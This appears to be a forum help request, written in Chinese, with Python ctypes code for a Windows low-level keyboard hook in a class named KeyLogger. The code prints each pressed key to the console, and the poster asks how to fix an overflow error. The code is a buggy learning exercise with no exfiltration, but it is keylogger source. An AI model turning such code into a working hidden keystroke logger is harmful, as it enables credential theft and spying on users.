## 源代码
from ctypes import *
import sys
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
from typing import Type

user32 = windll.user32
kernel32 =windll.kernel32

WH_KEYBOARD_LL=13
WM_KEYDOWN=0X0100
CTRL_CODE=162
class KeyLogger:
    def __init__(self):
        self.lUser32 = user32
        self.hooked = None
    def installHookProc(self,pointer):
        self.hooked=self.lUser32.SetWindowsHookExA(
            13,
            pointer,
            0,
            0

        )
        if not self.hooked:
            print(kernel32.GetLastError())
            return False
        return True
    def uninstallHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked=None


def getFPTR(fn):
     CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
     return CMPFUNC(fn)


def hookProc(nCode,wParam,lParam):
     if wParam is not WM_KEYDOWN:
         return user32.CallNextHookEx(KeyLogger.hooked,nCode,wParam,lParam)
     print(chr(lParam[0]))
     if CTRL_CODE == int(lParam[0]):
         print("Ctrl pressed,call uninstallHook()")
         KeyLogger.uninstallHookProc()
         sys.exit(-1)
     else:
        return user32.CallNextHookEx(KeyLogger.hooked,nCode,wParam,lParam)

def startKeyLog():
    msg=MSG()
    user32.GetMessageA(byref(msg),0,0,0)


KeyLogger = KeyLogger()
pointer = getFPTR(hookProc)
print(pointer)

if KeyLogger.installHookProc(pointer):
    print("installed keyLogger")
else:
    print("no ok")
startKeyLog()
#### 问题内容
我是想通过python去调用win API，来生成一个钩子，去监听按下了哪个案件并且输出在屏幕上，通过chr把值转化为字符，但是这边出现了个溢出问题，不知道该如何解决。

![](https://nc0.cdn.zkaq.cn/md/7478/937e1ceabb105839c2fc95594ebc4067_75796.png)